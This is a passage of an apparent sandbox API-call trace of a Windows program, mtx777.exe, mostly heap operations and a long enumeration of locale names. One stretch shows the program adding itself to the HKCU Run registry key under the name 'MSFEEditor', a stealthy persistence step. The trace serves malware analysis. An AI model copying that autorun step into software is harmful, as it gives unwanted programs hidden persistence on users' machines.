hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce98 | out: hHeap=0x510000) returned 1 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5434f8 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x5345c0 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x20) returned 0x5438b8 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5288b8 | out: hHeap=0x510000) returned 1 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5434f8 | out: hHeap=0x510000) returned 1 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x90) returned 0x543f90 [0068.374] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544ca0 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5345c0 | out: hHeap=0x510000) returned 1 [0068.374] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0068.375] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x544bf0 [0068.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52ce60 | out: hHeap=0x510000) returned 1 [0068.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543a38 | out: hHeap=0x510000) returned 1 [0068.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0068.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544ca0 | out: hHeap=0x510000) returned 1 [0068.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x543f90 | out: hHeap=0x510000) returned 1 [0068.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54d218 | out: hHeap=0x510000) returned 1 [0068.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54cb18 | out: hHeap=0x510000) returned 1 [0068.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54c330 | out: hHeap=0x510000) returned 1 [0068.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54bb38 | out: hHeap=0x510000) returned 1 [0068.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x52cf08 | out: hHeap=0x510000) returned 1 [0068.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b230 | out: hHeap=0x510000) returned 1 [0068.375] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0068.375] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4adf1c, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mtx777.exe")) returned 0x30 [0068.375] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x4adf18, lpdwDisposition=0x0 | out: phkResult=0x4adf18*=0x184, lpdwDisposition=0x0) returned 0x0 [0068.375] RegSetValueExW (in: hKey=0x184, lpValueName="MSFEEditor", Reserved=0x0, dwType=0x1, lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe\" e", cbData=0x6a | out: lpData="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mtx777.exe\" e") returned 0x0 [0068.376] RegCloseKey (hKey=0x184) returned 0x0 [0068.376] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xc) returned 0x53cb68 [0068.376] GetLastError () returned 0x0 [0068.377] EnumSystemLocalesEx (lpLocaleEnumProcEx=0xf6ae0, dwFlags=0x3, lParam=0x0, lpReserved=0x0) [0068.377] GetLastError () returned 0x0 [0068.377] GetLocaleInfoEx (in: lpLocaleName="ar", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Arabic") returned 7 [0068.378] GetLastError () returned 0x0 [0068.378] GetLocaleInfoEx (in: lpLocaleName="bg", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Bulgarian") returned 10 [0068.378] GetLastError () returned 0x0 [0068.378] GetLocaleInfoEx (in: lpLocaleName="ca", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Catalan") returned 8 [0068.378] GetLastError () returned 0x0 [0068.378] GetLocaleInfoEx (in: lpLocaleName="zh-Hans", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Chinese (Simplified)") returned 21 [0068.379] GetLastError () returned 0x0 [0068.379] GetLocaleInfoEx (in: lpLocaleName="cs", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Czech") returned 6 [0068.379] GetLastError () returned 0x0 [0068.379] GetLocaleInfoEx (in: lpLocaleName="da", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Danish") returned 7 [0068.380] GetLastError () returned 0x0 [0068.380] GetLocaleInfoEx (in: lpLocaleName="de", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="German") returned 7 [0068.380] GetLastError () returned 0x0 [0068.380] GetLocaleInfoEx (in: lpLocaleName="el", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Greek") returned 6 [0068.380] GetLastError () returned 0x0 [0068.380] GetLocaleInfoEx (in: lpLocaleName="en", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="English") returned 8 [0068.381] GetLastError () returned 0x0 [0068.381] GetLocaleInfoEx (in: lpLocaleName="es", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Spanish") returned 8 [0068.381] GetLastError () returned 0x0 [0068.381] GetLocaleInfoEx (in: lpLocaleName="fi", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Finnish") returned 8 [0068.381] GetLastError () returned 0x0 [0068.381] GetLocaleInfoEx (in: lpLocaleName="fr", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="French") returned 7 [0068.382] GetLastError () returned 0x0 [0068.382] GetLocaleInfoEx (in: lpLocaleName="he", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Hebrew") returned 7 [0068.382] GetLastError () returned 0x0 [0068.382] GetLocaleInfoEx (in: lpLocaleName="hu", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Hungarian") returned 10 [0068.383] GetLastError () returned 0x0 [0068.383] GetLocaleInfoEx (in: lpLocaleName="is", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Icelandic") returned 10 [0068.383] GetLastError () returned 0x0 [0068.383] GetLocaleInfoEx (in: lpLocaleName="it", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Italian") returned 8 [0068.383] GetLastError () returned 0x0 [0068.383] GetLocaleInfoEx (in: lpLocaleName="ja", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Japanese") returned 9 [0068.384] GetLastError () returned 0x0 [0068.384] GetLocaleInfoEx (in: lpLocaleName="ko", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Korean") returned 7 [0068.384] GetLastError () returned 0x0 [0068.384] GetLocaleInfoEx (in: lpLocaleName="nl", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Dutch") returned 6 [0068.384] GetLastError () returned 0x0 [0068.384] GetLocaleInfoEx (in: lpLocaleName="no", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Norwegian") returned 10 [0068.391] GetLastError () returned 0x0 [0068.391] GetLocaleInfoEx (in: lpLocaleName="pl", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Polish") returned 7 [0068.391] GetLastError () returned 0x0 [0068.391] GetLocaleInfoEx (in: lpLocaleName="pt", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Portuguese") returned 11 [0068.391] GetLastError () returned 0x0 [0068.391] GetLocaleInfoEx (in: lpLocaleName="rm", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Romansh") returned 8 [0068.392] GetLastError () returned 0x0 [0068.392] GetLocaleInfoEx (in: lpLocaleName="ro", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Romanian") returned 9 [0068.392] GetLastError () returned 0x0 [0068.392] GetLocaleInfoEx (in: lpLocaleName="ru", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Russian") returned 8 [0068.393] GetLastError () returned 0x0 [0068.393] GetLocaleInfoEx (in: lpLocaleName="hr", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Croatian") returned 9 [0068.393] GetLastError () returned 0x0 [0068.393] GetLocaleInfoEx (in: lpLocaleName="sk", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Slovak") returned 7 [0068.395] GetLastError () returned 0x0 [0068.395] GetLocaleInfoEx (in: lpLocaleName="sq", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Albanian") returned 9 [0068.395] GetLastError () returned 0x0 [0068.395] GetLocaleInfoEx (in: lpLocaleName="sv", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Swedish") returned 8 [0068.395] GetLastError () returned 0x0 [0068.395] GetLocaleInfoEx (in: lpLocaleName="th", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Thai") returned 5 [0068.396] GetLastError () returned 0x0 [0068.396] GetLocaleInfoEx (in: lpLocaleName="tr", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Turkish") returned 8 [0068.396] GetLastError () returned 0x0 [0068.396] GetLocaleInfoEx (in: lpLocaleName="ur", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Urdu") returned 5 [0068.396] GetLastError () returned 0x0 [0068.396] GetLocaleInfoEx (in: lpLocaleName="id", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Indonesian") returned 11 [0068.397] GetLastError () returned 0x0 [0068.397] GetLocaleInfoEx (in: lpLocaleName="uk", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Ukrainian") returned 10 [0068.397] GetLastError () returned 0x0 [0068.397] GetLocaleInfoEx (in: lpLocaleName="be", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Belarusian") returned 11 [0068.397] GetLastError () returned 0x0 [0068.398] GetLocaleInfoEx (in: lpLocaleName="sl", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Slovenian") returned 10 [0068.398] GetLastError () returned 0x0 [0068.398] GetLocaleInfoEx (in: lpLocaleName="et", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Estonian") returned 9 [0068.398] GetLastError () returned 0x0 [0068.398] GetLocaleInfoEx (in: lpLocaleName="lv", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Latvian") returned 8 [0068.399] GetLastError () returned 0x0 [0068.399] GetLocaleInfoEx (in: lpLocaleName="lt", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Lithuanian") returned 11 [0068.399] GetLastError () returned 0x0 [0068.399] GetLocaleInfoEx (in: lpLocaleName="tg", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Tajik") returned 6 [0068.399] GetLastError () returned 0x0 [0068.399] GetLocaleInfoEx (in: lpLocaleName="fa", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Persian") returned 8 [0068.400] GetLastError () returned 0x0 [0068.400] GetLocaleInfoEx (in: lpLocaleName="vi", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Vietnamese") returned 11 [0068.400] GetLastError () returned 0x0 [0068.400] GetLocaleInfoEx (in: lpLocaleName="hy", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Armenian") returned 9 [0068.401] GetLastError () returned 0x0 [0068.401] GetLocaleInfoEx (in: lpLocaleName="az", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Azeri") returned 6 [0068.401] GetLastError () returned 0x0 [0068.401] GetLocaleInfoEx (in: lpLocaleName="eu", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Basque") returned 7 [0068.401] GetLastError () returned 0x0 [0068.401] GetLocaleInfoEx (in: lpLocaleName="hsb", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Upper Sorbian") returned 14 [0068.402] GetLastError () returned 0x0 [0068.402] GetLocaleInfoEx (in: lpLocaleName="mk", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Macedonian (FYROM)") returned 19 [0068.402] GetLastError () returned 0x0 [0068.402] GetLocaleInfoEx (in: lpLocaleName="tn", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Setswana") returned 9 [0068.403] GetLastError () returned 0x0 [0068.403] GetLocaleInfoEx (in: lpLocaleName="xh", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="isiXhosa") returned 9 [0068.403] GetLastError () returned 0x0 [0068.403] GetLocaleInfoEx (in: lpLocaleName="zu", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="isiZulu") returned 8 [0068.403] GetLastError () returned 0x0 [0068.403] GetLocaleInfoEx (in: lpLocaleName="af", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Afrikaans") returned 10 [0068.404] GetLastError () returned 0x0 [0068.404] GetLocaleInfoEx (in: lpLocaleName="ka", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Georgian") returned 9 [0068.404] GetLastError () returned 0x0 [0068.404] GetLocaleInfoEx (in: lpLocaleName="fo", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Faroese") returned 8 [0068.404] GetLastError () returned 0x0 [0068.404] GetLocaleInfoEx (in: lpLocaleName="hi", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Hindi") returned 6 [0068.405] GetLastError () returned 0x0 [0068.405] GetLocaleInfoEx (in: lpLocaleName="mt", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Maltese") returned 8 [0068.405] GetLastError () returned 0x0 [0068.405] GetLocaleInfoEx (in: lpLocaleName="se", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Sami (Northern)") returned 16 [0068.406] GetLastError () returned 0x0 [0068.406] GetLocaleInfoEx (in: lpLocaleName="ga", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Irish") returned 6 [0068.406] GetLastError () returned 0x0 [0068.406] GetLocaleInfoEx (in: lpLocaleName="ms", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Malay") returned 6 [0068.406] GetLastError () returned 0x0 [0068.406] GetLocaleInfoEx (in: lpLocaleName="kk", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Kazakh") returned 7 [0068.407] GetLastError () returned 0x0 [0068.407] GetLocaleInfoEx (in: lpLocaleName="ky", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Kyrgyz") returned 7 [0068.407] GetLastError () returned 0x0 [0068.407] GetLocaleInfoEx (in: lpLocaleName="sw", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Kiswahili") returned 10 [0068.407] GetLastError () returned 0x0 [0068.408] GetLocaleInfoEx (in: lpLocaleName="tk", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Turkmen") returned 8 [0068.408] GetLastError () returned 0x0 [0068.408] GetLocaleInfoEx (in: lpLocaleName="uz", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Uzbek") returned 6 [0068.409] GetLastError () returned 0x0 [0068.409] GetLocaleInfoEx (in: lpLocaleName="tt", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Tatar") returned 6 [0068.409] GetLastError () returned 0x0 [0068.409] GetLocaleInfoEx (in: lpLocaleName="bn", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Bengali") returned 8 [0068.409] GetLastError () returned 0x0 [0068.409] GetLocaleInfoEx (in: lpLocaleName="pa", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Punjabi") returned 8 [0068.410] GetLastError () returned 0x0 [0068.410] GetLocaleInfoEx (in: lpLocaleName="gu", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Gujarati") returned 9 [0068.410] GetLastError () returned 0x0 [0068.410] GetLocaleInfoEx (in: lpLocaleName="or", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Oriya") returned 6 [0068.411] GetLastError () returned 0x0 [0068.411] GetLocaleInfoEx (in: lpLocaleName="ta", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Tamil") returned 6 [0068.411] GetLastError () returned 0x0 [0068.411] GetLocaleInfoEx (in: lpLocaleName="te", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Telugu") returned 7 [0068.411] GetLastError () returned 0x0 [0068.411] GetLocaleInfoEx (in: lpLocaleName="kn", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Kannada") returned 8 [0068.412] GetLastError () returned 0x0 [0068.412] GetLocaleInfoEx (in: lpLocaleName="ml", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Malayalam") returned 10 [0068.412] GetLastError () returned 0x0 [0068.412] GetLocaleInfoEx (in: lpLocaleName="as", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Assamese") returned 9 [0068.412] GetLastError () returned 0x0 [0068.412] GetLocaleInfoEx (in: lpLocaleName="mr", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Marathi") returned 8 [0068.413] GetLastError () returned 0x0 [0068.413] GetLocaleInfoEx (in: lpLocaleName="sa", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Sanskrit") returned 9 [0068.413] GetLastError () returned 0x0 [0068.413] GetLocaleInfoEx (in: lpLocaleName="mn", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Mongolian") returned 10 [0068.414] GetLastError () returned 0x0 [0068.414] GetLocaleInfoEx (in: lpLocaleName="bo", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Tibetan") returned 8 [0068.414] GetLastError () returned 0x0 [0068.414] GetLocaleInfoEx (in: lpLocaleName="cy", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Welsh") returned 6 [0068.414] GetLastError () returned 0x0 [0068.414] GetLocaleInfoEx (in: lpLocaleName="km", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Khmer") returned 6 [0068.415] GetLastError () returned 0x0 [0068.415] GetLocaleInfoEx (in: lpLocaleName="lo", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Lao") returned 4 [0068.415] GetLastError () returned 0x0 [0068.415] GetLocaleInfoEx (in: lpLocaleName="gl", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Galician") returned 9 [0068.436] GetLastError () returned 0x0 [0068.436] GetLocaleInfoEx (in: lpLocaleName="kok", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Konkani") returned 8 [0068.437] GetLastError () returned 0x0 [0068.437] GetLocaleInfoEx (in: lpLocaleName="syr", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Syriac") returned 7 [0068.437] GetLastError () returned 0x0 [0068.437] GetLocaleInfoEx (in: lpLocaleName="si", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Sinhala") returned 8 [0068.438] GetLastError () returned 0x0 [0068.438] GetLocaleInfoEx (in: lpLocaleName="iu", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Inuktitut") returned 10 [0068.438] GetLastError () returned 0x0 [0068.438] GetLocaleInfoEx (in: lpLocaleName="am", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Amharic") returned 8 [0068.438] GetLastError () returned 0x0 [0068.438] GetLocaleInfoEx (in: lpLocaleName="tzm", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Tamazight") returned 10 [0068.439] GetLastError () returned 0x0 [0068.439] GetLocaleInfoEx (in: lpLocaleName="ne", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Nepali") returned 7 [0068.439] GetLastError () returned 0x0 [0068.439] GetLocaleInfoEx (in: lpLocaleName="fy", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Frisian") returned 8 [0068.439] GetLastError () returned 0x0 [0068.439] GetLocaleInfoEx (in: lpLocaleName="ps", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Pashto") returned 7 [0068.440] GetLastError () returned 0x0 [0068.440] GetLocaleInfoEx (in: lpLocaleName="fil", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Filipino") returned 9 [0068.440] GetLastError () returned 0x0 [0068.440] GetLocaleInfoEx (in: lpLocaleName="dv", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Divehi") returned 7 [0068.441] GetLastError () returned 0x0 [0068.441] GetLocaleInfoEx (in: lpLocaleName="ha", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Hausa") returned 6 [0068.441] GetLastError () returned 0x0 [0068.441] GetLocaleInfoEx (in: lpLocaleName="yo", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Yoruba") returned 7 [0068.441] GetLastError () returned 0x0 [0068.441] GetLocaleInfoEx (in: lpLocaleName="quz", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Quechua") returned 8 [0068.442] GetLastError () returned 0x0 [0068.442] GetLocaleInfoEx (in: lpLocaleName="nso", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Sesotho sa Leboa") returned 17 [0068.442] GetLastError () returned 0x0 [0068.442] GetLocaleInfoEx (in: lpLocaleName="ba", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Bashkir") returned 8 [0068.442] GetLastError () returned 0x0 [0068.443] GetLocaleInfoEx (in: lpLocaleName="lb", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Luxembourgish") returned 14 [0068.443] GetLastError () returned 0x0 [0068.443] GetLocaleInfoEx (in: lpLocaleName="kl", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Greenlandic") returned 12 [0068.443] GetLastError () returned 0x0 [0068.443] GetLocaleInfoEx (in: lpLocaleName="ig", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Igbo") returned 5 [0068.444] GetLastError () returned 0x0 [0068.444] GetLocaleInfoEx (in: lpLocaleName="ii", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Yi") returned 3 [0068.444] GetLastError () returned 0x0 [0068.444] GetLocaleInfoEx (in: lpLocaleName="arn", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Mapudungun") returned 11 [0068.444] GetLastError () returned 0x0 [0068.444] GetLocaleInfoEx (in: lpLocaleName="moh", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Mohawk") returned 7 [0068.445] GetLastError () returned 0x0 [0068.445] GetLocaleInfoEx (in: lpLocaleName="br", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Breton") returned 7 [0068.445] GetLastError () returned 0x0 [0068.445] GetLocaleInfoEx (in: lpLocaleName="", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Invariant Language") returned 19 [0068.445] GetLastError () returned 0x0 [0068.445] GetLocaleInfoEx (in: lpLocaleName="ug", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Uyghur") returned 7 [0068.445] GetLastError () returned 0x0 [0068.446] GetLocaleInfoEx (in: lpLocaleName="mi", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Maori") returned 6 [0068.446] GetLastError () returned 0x0 [0068.446] GetLocaleInfoEx (in: lpLocaleName="oc", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Occitan") returned 8 [0068.446] GetLastError () returned 0x0 [0068.446] GetLocaleInfoEx (in: lpLocaleName="co", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Corsican") returned 9 [0068.447] GetLastError () returned 0x0 [0068.447] GetLocaleInfoEx (in: lpLocaleName="gsw", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Alsatian") returned 9 [0068.447] GetLastError () returned 0x0 [0068.447] GetLocaleInfoEx (in: lpLocaleName="sah", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Yakut") returned 6 [0068.447] GetLastError () returned 0x0 [0068.447] GetLocaleInfoEx (in: lpLocaleName="qut", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="K'iche") returned 7 [0068.448] GetLastError () returned 0x0 [0068.448] GetLocaleInfoEx (in: lpLocaleName="rw", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Kinyarwanda") returned 12 [0068.448] GetLastError () returned 0x0 [0068.448] GetLocaleInfoEx (in: lpLocaleName="wo", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Wolof") returned 6 [0068.448] GetLastError () returned 0x0 [0068.449] GetLocaleInfoEx (in: lpLocaleName="prs", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Dari") returned 5 [0068.449] GetLastError () returned 0x0 [0068.449] GetLocaleInfoEx (in: lpLocaleName="gd", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Scottish Gaelic") returned 16 [0068.449] GetLastError () returned 0x0 [0068.449] GetLocaleInfoEx (in: lpLocaleName="ar-SA", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Arabic") returned 7 [0068.449] GetLastError () returned 0x0 [0068.449] GetLocaleInfoEx (in: lpLocaleName="bg-BG", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Bulgarian") returned 10 [0068.449] GetLastError () returned 0x0 [0068.449] GetLocaleInfoEx (in: lpLocaleName="ca-ES", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Catalan") returned 8 [0068.449] GetLastError () returned 0x0 [0068.449] GetLocaleInfoEx (in: lpLocaleName="zh-TW", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Chinese (Traditional)") returned 22 [0068.449] GetLastError () returned 0x0 [0068.449] GetLocaleInfoEx (in: lpLocaleName="cs-CZ", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Czech") returned 6 [0068.450] GetLastError () returned 0x0 [0068.450] GetLocaleInfoEx (in: lpLocaleName="da-DK", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Danish") returned 7 [0068.450] GetLastError () returned 0x0 [0068.450] GetLocaleInfoEx (in: lpLocaleName="de-DE", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="German") returned 7 [0068.450] GetLastError () returned 0x0 [0068.450] GetLocaleInfoEx (in: lpLocaleName="el-GR", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Greek") returned 6 [0068.450] GetLastError () returned 0x0 [0068.450] GetLocaleInfoEx (in: lpLocaleName="en-US", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="English") returned 8 [0068.450] GetLastError () returned 0x0 [0068.450] GetLocaleInfoEx (in: lpLocaleName="fi-FI", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Finnish") returned 8 [0068.450] GetLastError () returned 0x0 [0068.450] GetLocaleInfoEx (in: lpLocaleName="fr-FR", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="French") returned 7 [0068.450] GetLastError () returned 0x0 [0068.450] GetLocaleInfoEx (in: lpLocaleName="he-IL", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Hebrew") returned 7 [0068.450] GetLastError () returned 0x0 [0068.450] GetLocaleInfoEx (in: lpLocaleName="hu-HU", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Hungarian") returned 10 [0068.450] GetLastError () returned 0x0 [0068.450] GetLocaleInfoEx (in: lpLocaleName="is-IS", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Icelandic") returned 10 [0068.451] GetLastError () returned 0x0 [0068.451] GetLocaleInfoEx (in: lpLocaleName="it-IT", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | out: lpLCData="Italian") returned 8 [0068.451] GetLastError () returned 0x0 [0068.451] GetLocaleInfoEx (in: lpLocaleName="ja-JP", LCType=0x1001, lpLCData=0x4ad798, cchData=120 | 